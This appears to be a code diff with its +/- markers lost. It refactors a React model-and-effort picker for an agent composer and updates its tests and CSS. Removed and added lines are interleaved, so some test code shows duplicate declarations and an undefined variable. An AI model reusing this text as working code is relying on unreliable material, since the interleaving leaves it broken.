const contextGroup = within(dialog).getByRole("radiogroup", { name: "Context Size" });
|
||||
expect(within(contextGroup).getByRole("radio", { name: "1M" })).toHaveAttribute("aria-checked", "true");
|
||||
fireEvent.click(within(contextGroup).getByRole("radio", { name: "200K" }));
|
||||
expect(onChange).toHaveBeenCalledWith("contextTier", "default");
|
||||
|
||||
// Cost badge & multiplier render in the detail card.
|
||||
expect(within(dialog).getByText("Medium cost")).toBeVisible();
|
||||
expect(within(dialog).getByText("1x")).toBeVisible();
|
||||
|
||||
// Reset restores both effort and contextTier to their agent defaults.
|
||||
onChange.mockClear();
|
||||
fireEvent.click(within(dialog).getByRole("button", { name: "Reset to defaults" }));
|
||||
expect(onChange).toHaveBeenCalledWith("reasoning_effort", "medium");
|
||||
expect(onChange).toHaveBeenCalledWith("contextTier", "default");
|
||||
|
||||
// Pin model, navigate back to Page 1, and verify Pinned + Models sections appear.
|
||||
fireEvent.click(within(dialog).getByRole("button", { name: "Pin model" }));
|
||||
fireEvent.click(within(dialog).getByRole("button", { name: "Back to models" }));
|
||||
fireEvent.click(within(dialog).getAllByRole("button", { name: "Pin model" })[0]!);
|
||||
const listbox = within(dialog).getByRole("listbox", { name: "Model" });
|
||||
expect(within(listbox).getByText("Pinned")).toBeVisible();
|
||||
expect(within(listbox).getByText("Models")).toBeVisible();
|
||||
});
|
||||
|
||||
it("updates per-tier token pricing live when switching Context Size", () => {
|
||||
const cfg = copilotConfig().map((o) =>
|
||||
o.id === "model"
|
||||
? {
|
||||
...o,
|
||||
values: o.values.map((v) =>
|
||||
v.value === "claude-sonnet-5.5"
|
||||
? {
|
||||
...v,
|
||||
pricing: {
|
||||
costTier: "medium",
|
||||
multiplier: 1,
|
||||
tiers: {
|
||||
default: { input: 200, output: 1000, cacheRead: 10, cacheWrite: 0, contextTokens: 200_000 },
|
||||
long_context: {
|
||||
input: 400,
|
||||
output: 2000,
|
||||
cacheRead: 20,
|
||||
cacheWrite: 0,
|
||||
contextTokens: 1_000_000,
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
: v,
|
||||
),
|
||||
}
|
||||
: o,
|
||||
);
|
||||
cfg.push({
|
||||
id: "context_tier",
|
||||
name: "Context Size",
|
||||
category: "model_config",
|
||||
description: null,
|
||||
current: "long_context",
|
||||
via: "option",
|
||||
values: [value("default", "200K"), value("long_context", "1M")],
|
||||
});
|
||||
const { rerender } = render(<ConfigPickers config={cfg} onChange={vi.fn()} />);
|
||||
fireEvent.click(screen.getByRole("button", { name: "Model" }));
|
||||
fireEvent.click(screen.getByRole("button", { name: "Configure model" }));
|
||||
expect(screen.getByText("Credits per 1M tokens")).toBeVisible();
|
||||
expect(screen.getByText("400")).toBeVisible();
|
||||
expect(screen.getByText("2000")).toBeVisible();
|
||||
|
||||
rerender(<ConfigPickers config={cfg} values={{ context_tier: "default" }} onChange={vi.fn()} />);
|
||||
expect(screen.getByText("200")).toBeVisible();
|
||||
expect(screen.getByText("1000")).toBeVisible();
|
||||
fireEvent.click(within(dialog).getByRole("option", { name: /GPT-6 Sol/ }));
|
||||
expect(onChange).toHaveBeenCalledWith("model", "gpt-6-sol");
|
||||
expect(screen.queryByRole("dialog", { name: "Model" })).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("filters the model list and picks the highlighted model with the keyboard", () => {
|
||||
const onChange = vi.fn();
|
||||
render(<ConfigPickers config={copilotConfig()} onChange={onChange} />);
|
||||
fireEvent.click(screen.getByRole("button", { name: "Model" }));
|
||||
const dialog = screen.getByRole("dialog", { name: "Model & effort settings" });
|
||||
const search = within(dialog).getByPlaceholderText("Search…");
|
||||
const search = screen.getByPlaceholderText("Search…");
|
||||
expect(search).toHaveFocus();
|
||||
fireEvent.change(search, { target: { value: "sol" } });
|
||||
expect(within(dialog).getAllByRole("option")).toHaveLength(1);
|
||||
expect(screen.getAllByRole("option")).toHaveLength(1);
|
||||
fireEvent.keyDown(search, { key: "ArrowDown" });
|
||||
fireEvent.keyDown(search, { key: "Enter" });
|
||||
expect(onChange).toHaveBeenLastCalledWith("model", "gpt-6-sol");
|
||||
|
||||
@@ -1,21 +1,24 @@
|
||||
/**
|
||||
* Model, mode, approvals and thinking-effort controls for a composer's bottom row.
|
||||
* With a model plus effort, model-config or cost metadata, one button shows the active
|
||||
* summary and opens a two-page popup: a searchable model list (with pinned models and
|
||||
* per-row configure buttons) and a per-model configuration view with segmented Effort
|
||||
* Level, optional segmented Context Size, Reset / Pin actions, and a cost badge.
|
||||
* Model, effort, mode and approvals controls for a composer's bottom row. The model button
|
||||
* opens a searchable model list (pinned models first, context size above it); the effort is
|
||||
* its own picker beside it, one click away.
|
||||
*/
|
||||
import { useEffect, useRef, useState, type KeyboardEvent } from "react";
|
||||
import clsx from "clsx";
|
||||
import type { AgentConfigOption, AgentModelPricing } from "@/bindings";
|
||||
import { tx as rawTx, useTx } from "@/platform/i18n";
|
||||
import type { AgentConfigOption } from "@/bindings";
|
||||
import { useTx } from "@/platform/i18n";
|
||||
import { Icon, IconButton, Popup, Select, T, Toggle } from "@/ui";
|
||||
import { SelectListbox, type SelectOption } from "@/ui/Select";
|
||||
import { formatCreditRate, isContextOption, mainOptions, modelConfigOptions, modeIcon } from "./composerModel";
|
||||
import { isContextOption, mainOptions, modelConfigOptions, modeIcon } from "./composerModel";
|
||||
import { togglePinnedModel, useAgents } from "./store";
|
||||
import styles from "./Composer.module.css";
|
||||
|
||||
export function configPickerOptions(option: AgentConfigOption, pinned: readonly string[] = []): SelectOption[] {
|
||||
export function configPickerOptions(
|
||||
option: AgentConfigOption,
|
||||
pinned: readonly string[] = [],
|
||||
/** Without each model's description: the model popup lists names only. */
|
||||
descriptions = true,
|
||||
): SelectOption[] {
|
||||
if (option.category !== "model") {
|
||||
return option.values.map((v) => ({ value: v.value, label: v.name, detail: v.description ?? undefined }));
|
||||
}
|
||||
@@ -26,7 +29,9 @@ export function configPickerOptions(option: AgentConfigOption, pinned: readonly
|
||||
const path = slash >= 0 ? v.value.slice(slash + 1) : "";
|
||||
const label = path ? path.slice(path.lastIndexOf("/") + 1) : v.name || v.value;
|
||||
const mult = v.usageMultiplier && !v.description?.startsWith(v.usageMultiplier) ? v.usageMultiplier : undefined;
|
||||
const parts = [path || undefined, mult, v.description ?? undefined].filter((p): p is string => !!p);
|
||||
const parts = [path || undefined, mult, (descriptions && v.description) || undefined].filter(
|
||||
(p): p is string => !!p,
|
||||
);
|
||||
const detail = parts.length > 0 ? parts.join(" · ") : undefined;
|
||||
return { provider, opt: { value: v.value, label, detail, keywords: provider } };
|
||||
};
|
||||
@@ -104,14 +109,16 @@ export function ConfigPickers({
|
||||
const effort = config.find((o) => o.category === "thought_level" && o.values.length > 0);
|
||||
const modelConfigs = modelConfigOptions(config);
|
||||
const hasCostMeta = model?.values.some((v) => !!v.costCategory || !!v.usageMultiplier || !!v.pricing) ?? false;
|
||||
const combinedModel = model && (modelRefresh || effort || modelConfigs.length > 0 || hasCostMeta);
|
||||
const combinedModel = model && (modelRefresh || modelConfigs.length > 0 || hasCostMeta);
|
||||
const tuckedModelConfig = new Set(modelConfigs.map((o) => o.id));
|
||||
const mode = options.find((o) => o.category === "mode");
|
||||
const allowAll = mode && options.find((o) => switchValues(o));
|
||||
// Effort sits right after the model, as its own one-click picker.
|
||||
const inline = options.filter(
|
||||
(o) => o !== effort && o !== allowAll && !(combinedModel && tuckedModelConfig.has(o.id)),
|
||||
);
|
||||
// The compact menu holds everything but the model button (effort + model parameters).
|
||||
if (effort) inline.splice(model ? inline.indexOf(model) + 1 : 0, 0, effort);
|
||||
// The compact menu holds everything but the model and effort buttons (and the model's own parameters).
|
||||
const secondary = options.filter(
|
||||
(o) => o.category !== "model" && o !== effort && !(combinedModel && tuckedModelConfig.has(o.id)),
|
||||
);
|
||||
@@ -120,13 +127,14 @@ export function ConfigPickers({
|
||||
return (
|
||||
<>
|
||||
{inline.map((o) => (
|
||||
<span key={o.id} className={clsx(styles.configPicker, o.category !== "model" && styles.inlineSetting)}>
|
||||
<span
|
||||
key={o.id}
|
||||
className={clsx(styles.configPicker, o.category !== "model" && o !== effort && styles.inlineSetting)}
|
||||
>
|
||||
{o === model && combinedModel ? (
|
||||
<ModelEffortPicker
|
||||
<ModelPicker
|
||||
model={o}
|
||||
modelValue={valueOf(o)}
|
||||
effort={effort}
|
||||
effortValue={effort ? valueOf(effort) : null}
|
||||
modelConfigs={modelConfigs}
|
||||
valueOf={valueOf}
|
||||
onChange={onChange}
|
||||
@@ -224,24 +232,17 @@ function ConfigPicker({
|
||||
onChange={(v) => onChange(option.id, v)}
|
||||
renderValue={
|
||||
option.category === "thought_level" && !framed
|
||||
? (current) => (
|
||||
<span className={styles.pickerValue}>
|
||||
<span className={styles.pickerName}>{option.name}</span>
|
||||
{current?.label ?? tx("Default")}
|
||||
</span>
|
||||
)
|
||||
? (current) => <span className={styles.pickerValue}>{current?.label ?? tx("Default")}</span>
|
||||
: undefined
|
||||
}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
/** Two-page model & per-model configuration picker (searchable list + detail page). */
|
||||
function ModelEffortPicker({
|
||||
/** The model button: a searchable model list, with context size and the model's own settings above it. */
|
||||
function ModelPicker({
|
||||
model,
|
||||
modelValue,
|
||||
effort,
|
||||
effortValue,
|
||||
modelConfigs,
|
||||
valueOf,
|
||||
onChange,
|
||||
@@ -249,8 +250,6 @@ function ModelEffortPicker({
|
||||
}: {
|
||||
model: AgentConfigOption;
|
||||
modelValue: string | null;
|
||||
effort?: AgentConfigOption;
|
||||
effortValue: string | null;
|
||||
modelConfigs: AgentConfigOption[];
|
||||
valueOf: (o: AgentConfigOption) => string | null;
|
||||
onChange: (option: string, value: string) => void;
|
||||
@@ -258,65 +257,26 @@ function ModelEffortPicker({
|
||||
}) {
|
||||
const tx = useTx();
|
||||
const [open, setOpen] = useState(false);
|
||||
const [page, setPage] = useState<"list" | "detail">("list");
|
||||
const pinnedModels = useAgents((s) => s.pinnedModels);
|
||||
const anchor = useRef<HTMLButtonElement>(null);
|
||||
const selectedModel = selected(model, modelValue);
|
||||
const unavailable = modelRefresh && modelValue !== null && !selectedModel;
|
||||
const modelName = unavailable ? tx`${modelValue} (unavailable)` : (selectedModel?.name ?? tx("Default"));
|
||||
const effortName = effort ? (selected(effort, effortValue)?.name ?? tx("Default")) : null;
|
||||
|
||||
const contextOption = modelConfigs.find((o) => isContextOption(o.id) && o.values.length > 0);
|
||||
const contextValue = contextOption ? valueOf(contextOption) : null;
|
||||
const contextLabel = contextOption ? (selected(contextOption, contextValue)?.name ?? null) : null;
|
||||
const otherModelConfigs = modelConfigs.filter((o) => o !== contextOption);
|
||||
|
||||
const chipBadges = [effortName, contextLabel].filter((x): x is string => !!x);
|
||||
const chipBadgeText = chipBadges.join(" · ");
|
||||
|
||||
const otherSummary = otherModelConfigs
|
||||
.map((o) => {
|
||||
const summary = [
|
||||
contextLabel ? `${tx("Context Size")}: ${contextLabel}` : null,
|
||||
...otherModelConfigs.map((o) => {
|
||||
const current = selected(o, valueOf(o));
|
||||
return current ? `${tx(o.name)}: ${current.name}` : null;
|
||||
})
|
||||
.filter(Boolean)
|
||||
.join(" · ");
|
||||
const summary = [
|
||||
effortName ? `${tx(effort!.name)}: ${effortName}` : null,
|
||||
contextLabel ? `${tx("Context Size")}: ${contextLabel}` : null,
|
||||
otherSummary,
|
||||
}),
|
||||
]
|
||||
.filter(Boolean)
|
||||
.join(" · ");
|
||||
|
||||
const canConfigureActive = !!(
|
||||
effort ||
|
||||
contextOption ||
|
||||
otherModelConfigs.length > 0 ||
|
||||
selectedModel?.costCategory ||
|
||||
selectedModel?.usageMultiplier ||
|
||||
selectedModel?.pricing
|
||||
);
|
||||
|
||||
const closePopup = () => {
|
||||
setOpen(false);
|
||||
setPage("list");
|
||||
};
|
||||
|
||||
const openDetailFor = (targetModelValue: string) => {
|
||||
if (targetModelValue !== modelValue) {
|
||||
onChange(model.id, targetModelValue);
|
||||
}
|
||||
setPage("detail");
|
||||
};
|
||||
|
||||
const sizerCandidates =
|
||||
effort && !contextLabel
|
||||
? [...new Set([chipBadgeText, ...effort.values.map((v) => v.name)])]
|
||||
: chipBadgeText
|
||||
? [chipBadgeText]
|
||||
: [];
|
||||
|
||||
return (
|
||||
<>
|
||||
<button
|
||||
@@ -327,115 +287,91 @@ function ModelEffortPicker({
|
||||
aria-haspopup="dialog"
|
||||
aria-expanded={open}
|
||||
title={`${tx(model.name)}: ${modelName}${summary ? ` · ${summary}` : ""}`}
|
||||
onClick={() => {
|
||||
setOpen((prev) => {
|
||||
if (prev) setPage("list");
|
||||
return !prev;
|
||||
});
|
||||
}}
|
||||
onClick={() => setOpen((v) => !v)}
|
||||
>
|
||||
<span className={styles.chipValue}>{modelName}</span>
|
||||
{chipBadgeText && (
|
||||
<span className={styles.chipDetail}>
|
||||
{sizerCandidates.map((text) => (
|
||||
<span
|
||||
key={text}
|
||||
className={text === chipBadgeText ? undefined : styles.chipSizer}
|
||||
aria-hidden={text !== chipBadgeText}
|
||||
>
|
||||
{text}
|
||||
</span>
|
||||
))}
|
||||
</span>
|
||||
)}
|
||||
{contextLabel && <span className={styles.chipDetail}>{contextLabel}</span>}
|
||||
<Icon name="chevron-down" size={14} className={styles.chipChevron} />
|
||||
</button>
|
||||
<Popup
|
||||
open={open}
|
||||
anchor={anchor}
|
||||
onClose={closePopup}
|
||||
aria-label={tx("Model & effort settings")}
|
||||
onClose={() => setOpen(false)}
|
||||
aria-label={tx("Model")}
|
||||
className={styles.modelEffortPopup}
|
||||
>
|
||||
{page === "detail" && selectedModel ? (
|
||||
<ModelDetailView
|
||||
modelEntry={selectedModel}
|
||||
effort={effort}
|
||||
effortValue={effortValue}
|
||||
contextOption={contextOption}
|
||||
contextValue={contextValue}
|
||||
otherModelConfigs={otherModelConfigs}
|
||||
valueOf={valueOf}
|
||||
pinned={pinnedModels.includes(selectedModel.value)}
|
||||
onBack={() => setPage("list")}
|
||||
onTogglePin={() => togglePinnedModel(selectedModel.value)}
|
||||
onChange={onChange}
|
||||
/>
|
||||
) : (
|
||||
<>
|
||||
{unavailable && (
|
||||
<p className={styles.catalogError} role="alert">
|
||||
<T>Choose another model before starting.</T>
|
||||
</p>
|
||||
)}
|
||||
{canConfigureActive && selectedModel && (
|
||||
<button
|
||||
type="button"
|
||||
className={styles.activeModelBar}
|
||||
aria-label={tx("Configure model")}
|
||||
onClick={() => setPage("detail")}
|
||||
>
|
||||
<span className={styles.activeModelName}>{modelName}</span>
|
||||
<CostBadge category={selectedModel.costCategory} />
|
||||
{chipBadgeText && <span className={styles.activeModelMeta}>{chipBadgeText}</span>}
|
||||
<span className={styles.activeModelGear}>
|
||||
<Icon name="sliders" size={13} />
|
||||
<Icon name="chevron-right" size={12} />
|
||||
{unavailable && (
|
||||
<p className={styles.catalogError} role="alert">
|
||||
<T>Choose another model before starting.</T>
|
||||
</p>
|
||||
)}
|
||||
{(contextOption || otherModelConfigs.length > 0) && (
|
||||
<div className={styles.quickSettings}>
|
||||
{contextOption && (
|
||||
<div className={styles.quickRow}>
|
||||
<span className={styles.quickLabel}>
|
||||
<T>Context Size</T>
|
||||
</span>
|
||||
</button>
|
||||
<SegmentedControl
|
||||
ariaLabel={tx("Context Size")}
|
||||
options={contextOption.values.map((v) => ({
|
||||
value: v.value,
|
||||
label: v.name,
|
||||
description: v.description ?? undefined,
|
||||
}))}
|
||||
value={contextValue ?? contextOption.values[0]!.value}
|
||||
onChange={(v) => onChange(contextOption.id, v)}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
{otherModelConfigs.map((o) => (
|
||||
<div key={o.id} className={styles.modeFooter}>
|
||||
<span title={o.description ?? undefined}>{tx(o.name)}</span>
|
||||
<div key={o.id} className={styles.quickRow}>
|
||||
<span className={styles.quickLabel} title={o.description ?? undefined}>
|
||||
{tx(o.name)}
|
||||
</span>
|
||||
<ConfigPicker option={o} value={valueOf(o)} onChange={onChange} framed />
|
||||
</div>
|
||||
))}
|
||||
{model.values.length > 0 || !modelRefresh ? (
|
||||
<SelectListbox
|
||||
aria-label={tx(model.name)}
|
||||
value={modelValue}
|
||||
options={configPickerOptions(model, pinnedModels)}
|
||||
searchable
|
||||
listClassName={styles.modelList}
|
||||
onChoose={(v) => onChange(model.id, v)}
|
||||
renderAction={(opt) => {
|
||||
const raw = model.values.find((v) => v.value === opt.value);
|
||||
if (!raw) return null;
|
||||
const showRowBadge = !!raw.costCategory && !raw.description;
|
||||
return (
|
||||
<>
|
||||
{showRowBadge && <CostBadge category={raw.costCategory} />}
|
||||
<button
|
||||
type="button"
|
||||
className={styles.modelRowConfigure}
|
||||
aria-label={rawTx`Configure ${opt.label}`}
|
||||
title={rawTx`Configure ${opt.label}`}
|
||||
onClick={() => openDetailFor(opt.value)}
|
||||
>
|
||||
<Icon name="sliders" size={12} />
|
||||
</button>
|
||||
</>
|
||||
);
|
||||
}}
|
||||
/>
|
||||
) : (
|
||||
<p className={styles.catalogNote} role="status">
|
||||
{modelRefresh?.refreshing ? <T>Loading models…</T> : <T>No models reported by this agent.</T>}
|
||||
</p>
|
||||
)}
|
||||
{modelRefresh && <ModelRefreshFooter key={modelRefresh.retryAtMs} {...modelRefresh} />}
|
||||
</>
|
||||
</div>
|
||||
)}
|
||||
{model.values.length > 0 || !modelRefresh ? (
|
||||
<SelectListbox
|
||||
aria-label={tx(model.name)}
|
||||
value={modelValue}
|
||||
options={configPickerOptions(model, pinnedModels, false)}
|
||||
searchable
|
||||
listClassName={styles.modelList}
|
||||
onChoose={(v) => {
|
||||
onChange(model.id, v);
|
||||
setOpen(false);
|
||||
}}
|
||||
renderAction={(opt) => {
|
||||
const raw = model.values.find((v) => v.value === opt.value);
|
||||
if (!raw) return null;
|
||||
const pinned = pinnedModels.includes(raw.value);
|
||||
return (
|
||||
<>
|
||||
<CostBadge category={raw.costCategory} />
|
||||
<button
|
||||
type="button"
|
||||
className={clsx(styles.modelRowConfigure, pinned && styles.pinnedButton)}
|
||||
aria-label={pinned ? tx("Unpin model") : tx("Pin model")}
|
||||
aria-pressed={pinned}
|
||||
title={pinned ? tx("Unpin model") : tx("Pin model")}
|
||||
onClick={() => togglePinnedModel(raw.value)}
|
||||
>
|
||||
<Icon name="pin" size={12} />
|
||||
</button>
|
||||
</>
|
||||
);
|
||||
}}
|
||||
/>
|
||||
) : (
|
||||
<p className={styles.catalogNote} role="status">
|
||||
{modelRefresh?.refreshing ? <T>Loading models…</T> : <T>No models reported by this agent.</T>}
|
||||
</p>
|
||||
)}
|
||||
{modelRefresh && <ModelRefreshFooter key={modelRefresh.retryAtMs} {...modelRefresh} />}
|
||||
</Popup>
|
||||
</>
|
||||
);
|
||||
@@ -493,258 +429,6 @@ function CostBadge({ category }: { category: string | null | undefined }) {
|
||||
);
|
||||
}
|
||||
|
||||
/** Page 2: per-model configuration view (segmented Effort, optional Context Size, Reset, Pin, and cost info). */
|
||||
function ModelDetailView({
|
||||
modelEntry,
|
||||
effort,
|
||||
effortValue,
|
||||
contextOption,
|
||||
contextValue,
|
||||
otherModelConfigs,
|
||||
valueOf,
|
||||
pinned,
|
||||
onBack,
|
||||
onTogglePin,
|
||||
onChange,
|
||||
}: {
|
||||
modelEntry: AgentConfigOption["values"][number];
|
||||
effort?: AgentConfigOption;
|
||||
effortValue: string | null;
|
||||
contextOption?: AgentConfigOption;
|
||||
contextValue: string | null;
|
||||
otherModelConfigs: AgentConfigOption[];
|
||||
valueOf: (o: AgentConfigOption) => string | null;
|
||||
pinned: boolean;
|
||||
onBack: () => void;
|
||||
onTogglePin: () => void;
|
||||
onChange: (option: string, value: string) => void;
|
||||
}) {
|
||||
const tx = useTx();
|
||||
const [pricingOpen, setPricingOpen] = useState(true);
|
||||
|
||||
const defaultEffort = effort ? (effort.defaultValue ?? effort.current) : null;
|
||||
const defaultContext = contextOption ? (contextOption.defaultValue ?? contextOption.current) : null;
|
||||
const effortAtDefault = !effort || !defaultEffort || effortValue === defaultEffort;
|
||||
const contextAtDefault = !contextOption || !defaultContext || contextValue === defaultContext;
|
||||
const othersAtDefault = otherModelConfigs.every((o) => {
|
||||
const def = o.defaultValue ?? o.current;
|
||||
return !def || valueOf(o) === def;
|
||||
});
|
||||
const atDefaults = effortAtDefault && contextAtDefault && othersAtDefault;
|
||||
|
||||
const handleReset = () => {
|
||||
if (effort && defaultEffort && effortValue !== defaultEffort) {
|
||||
onChange(effort.id, defaultEffort);
|
||||
}
|
||||
if (contextOption && defaultContext && contextValue !== defaultContext) {
|
||||
onChange(contextOption.id, defaultContext);
|
||||
}
|
||||
for (const o of otherModelConfigs) {
|
||||
const def = o.defaultValue ?? o.current;
|
||||
if (def && valueOf(o) !== def) {
|
||||
onChange(o.id, def);
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
const compactEffort = (effort?.values.length ?? 0) >= 5;
|
||||
const hasCostCard = !!(modelEntry.costCategory || modelEntry.usageMultiplier);
|
||||
|
||||
return (
|
||||
<div className={styles.modelDetail}>
|
||||
<div className={styles.modelDetailHeader}>
|
||||
<IconButton
|
||||
icon="arrow-left"
|
||||
size="small"
|
||||
aria-label={tx("Back to models")}
|
||||
title={tx("Back to models")}
|
||||
onClick={onBack}
|
||||
/>
|
||||
<span className={styles.modelDetailTitle} title={modelEntry.name}>
|
||||
{modelEntry.name}
|
||||
</span>
|
||||
<div className={styles.modelDetailActions}>
|
||||
<IconButton
|
||||
icon="undo"
|
||||
size="small"
|
||||
disabled={atDefaults}
|
||||
aria-label={tx("Reset to defaults")}
|
||||
title={tx("Reset to defaults")}
|
||||
onClick={handleReset}
|
||||
/>
|
||||
<IconButton
|
||||
icon="pin"
|
||||
size="small"
|
||||
aria-label={pinned ? tx("Unpin model") : tx("Pin model")}
|
||||
title={pinned ? tx("Unpin model") : tx("Pin model")}
|
||||
aria-pressed={pinned}
|
||||
className={clsx(pinned && styles.pinnedButton)}
|
||||
onClick={onTogglePin}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{effort && effort.values.length > 0 && (
|
||||
<div className={styles.detailSection}>
|
||||
<div className={styles.detailSectionLabel}>
|
||||
<T>Effort Level</T>
|
||||
</div>
|
||||
<SegmentedControl
|
||||
ariaLabel={tx(effort.name)}
|
||||
options={effort.values.map((v) => ({
|
||||
value: v.value,
|
||||
label: compactEffort && v.value === "xhigh" ? tx("XHigh") : v.name,
|
||||
description: v.description ?? undefined,
|
||||
}))}
|
||||
value={effortValue ?? effort.values[0]!.value}
|
||||
onChange={(v) => onChange(effort.id, v)}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{contextOption && contextOption.values.length > 0 && (
|
||||
<div className={styles.detailSection}>
|
||||
<div className={styles.detailSectionLabel}>
|
||||
<T>Context Size</T>
|
||||
</div>
|
||||
<SegmentedControl
|
||||
ariaLabel={tx("Context Size")}
|
||||
options={contextOption.values.map((v) => ({
|
||||
value: v.value,
|
||||
label: v.name,
|
||||
description: v.description ?? undefined,
|
||||
}))}
|
||||
value={contextValue ?? contextOption.values[0]!.value}
|
||||
onChange={(v) => onChange(contextOption.id, v)}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{otherModelConfigs.map((o) => (
|
||||
<div key={o.id} className={styles.detailRow}>
|
||||
<span className={styles.detailSectionLabel} title={o.description ?? undefined}>
|
||||
{tx(o.name)}
|
||||
</span>
|
||||
<ConfigPicker option={o} value={valueOf(o)} onChange={onChange} framed />
|
||||
</div>
|
||||
))}
|
||||
|
||||
{modelEntry.pricing ? (
|
||||
<PricingDetailsCard
|
||||
pricing={modelEntry.pricing}
|
||||
activeTier={contextValue}
|
||||
open={pricingOpen}
|
||||
onToggle={() => setPricingOpen((v) => !v)}
|
||||
/>
|
||||
) : (
|
||||
hasCostCard && (
|
||||
<div className={styles.costCard}>
|
||||
<div className={styles.costCardHeader}>
|
||||
<span className={styles.costCardTitle}>
|
||||
<T>Pricing details</T>
|
||||
</span>
|
||||
<CostBadge category={modelEntry.costCategory} />
|
||||
</div>
|
||||
{modelEntry.usageMultiplier && (
|
||||
<div className={styles.costCardRow}>
|
||||
<span>
|
||||
<T>Multiplier</T>
|
||||
</span>
|
||||
<span className={styles.costCardValue}>{modelEntry.usageMultiplier}</span>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** Collapsible per-tier token pricing breakdown card (`Credits per 1M tokens`). */
|
||||
function PricingDetailsCard({
|
||||
pricing,
|
||||
activeTier,
|
||||
open,
|
||||
onToggle,
|
||||
}: {
|
||||
pricing: AgentModelPricing;
|
||||
activeTier: string | null;
|
||||
open: boolean;
|
||||
onToggle: () => void;
|
||||
}) {
|
||||
const tiers = pricing.tiers ?? {};
|
||||
const tierData =
|
||||
(activeTier ? tiers[activeTier] : undefined) ?? tiers["default"] ?? tiers["long_context"] ?? undefined;
|
||||
const hasRates = tierData && (tierData.input != null || tierData.output != null);
|
||||
if (!hasRates && pricing.multiplier == null && !pricing.costTier) return null;
|
||||
|
||||
return (
|
||||
<div className={styles.pricingCard}>
|
||||
<button type="button" className={styles.pricingHeader} aria-expanded={open} onClick={onToggle}>
|
||||
<Icon name={open ? "chevron-down" : "chevron-right"} size={12} className={styles.pricingChevron} />
|
||||
<span className={styles.pricingTitle}>
|
||||
<T>Pricing details</T>
|
||||
</span>
|
||||
{pricing.costTier ? (
|
||||
<CostBadge category={pricing.costTier} />
|
||||
) : (
|
||||
pricing.multiplier != null && (
|
||||
<span className={styles.costBadge}>{`${formatCreditRate(pricing.multiplier)}x`}</span>
|
||||
)
|
||||
)}
|
||||
</button>
|
||||
{open && (
|
||||
<div className={styles.pricingBody}>
|
||||
{hasRates && tierData ? (
|
||||
<>
|
||||
<div className={styles.pricingSubhead}>
|
||||
<T>Credits per 1M tokens</T>
|
||||
</div>
|
||||
<div className={styles.costCardRow}>
|
||||
<span>
|
||||
<T>Input</T>
|
||||
</span>
|
||||
<span className={styles.costCardValue}>{formatCreditRate(tierData.input)}</span>
|
||||
</div>
|
||||
<div className={styles.costCardRow}>
|
||||
<span>
|
||||
<T>Output</T>
|
||||
</span>
|
||||
<span className={styles.costCardValue}>{formatCreditRate(tierData.output)}</span>
|
||||
</div>
|
||||
{tierData.cacheRead != null && (
|
||||
<div className={styles.costCardRow}>
|
||||
<span>
|
||||
<T>Cache Read</T>
|
||||
</span>
|
||||
<span className={styles.costCardValue}>{formatCreditRate(tierData.cacheRead)}</span>
|
||||
</div>
|
||||
)}
|
||||
{tierData.cacheWrite != null && (
|
||||
<div className={styles.costCardRow}>
|
||||
<span>
|
||||
<T>Cache Write</T>
|
||||
</span>
|
||||
<span className={styles.costCardValue}>{formatCreditRate(tierData.cacheWrite)}</span>
|
||||
</div>
|
||||
)}
|
||||
</>
|
||||
) : (
|
||||
pricing.multiplier != null && (
|
||||
<div className={styles.costCardRow}>
|
||||
<span>
|
||||
<T>Multiplier</T>
|
||||
</span>
|
||||
<span className={styles.costCardValue}>{`${formatCreditRate(pricing.multiplier)}x`}</span>
|
||||
</div>
|
||||
)
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/** Accessible segmented pill selector (`role="radiogroup"`) with Left/Right arrow navigation. */
|
||||
function SegmentedControl({
|
||||
ariaLabel,
|
||||
|
||||
@@ -14,8 +14,8 @@
|
||||
color: var(--fg);
|
||||
}
|
||||
.inner {
|
||||
/* The same width as a running session's composer and conversation. */
|
||||
width: min(var(--agent-conversation-width), 100%);
|
||||
/* A compact block in the middle of the page: narrower than a session's conversation. */
|
||||
width: min(680px, 100%);
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--space-2);
|
||||
@@ -24,31 +24,58 @@
|
||||
width: 100%;
|
||||
}
|
||||
.heading {
|
||||
margin: 0 0 10px;
|
||||
font-size: calc(18px + var(--agent-font-zoom, 0px));
|
||||
font-weight: 600;
|
||||
margin: 0 0 14px;
|
||||
font-size: calc(22px + var(--agent-font-zoom, 0px));
|
||||
font-weight: 500;
|
||||
letter-spacing: -0.01em;
|
||||
text-align: center;
|
||||
color: var(--fg-strong);
|
||||
text-wrap: balance;
|
||||
}
|
||||
|
||||
/* Under the box: the project and where the agent works. */
|
||||
/* A box to write in, not a search bar: room for a few lines before it grows. */
|
||||
.composer :global(.cm-content) {
|
||||
min-height: calc(4.5em + 12px);
|
||||
}
|
||||
|
||||
/* Under the box: one quiet group, the project, checkout and branch side by side. */
|
||||
.where {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
/* The chips' own padding spaces them. */
|
||||
gap: var(--space-0-5);
|
||||
padding: 0 2px;
|
||||
gap: var(--space-1);
|
||||
min-width: 0;
|
||||
padding: 0 6px;
|
||||
color: var(--fg-subtle);
|
||||
font-size: var(--fs-small);
|
||||
}
|
||||
/* The current branch, read-only: same height and colour as the pickers beside it. */
|
||||
.branch {
|
||||
.where > button {
|
||||
flex: 0 1 auto;
|
||||
min-width: 0;
|
||||
color: inherit;
|
||||
font-size: inherit;
|
||||
}
|
||||
/* The row's own gaps space "on" and "from"; the note's padding is for the lines below. */
|
||||
.where .note {
|
||||
padding: 0;
|
||||
.project {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: var(--space-1-5);
|
||||
min-width: 0;
|
||||
height: var(--h-control);
|
||||
padding: 0 4px;
|
||||
}
|
||||
.label {
|
||||
min-width: 0;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
.projectPicker {
|
||||
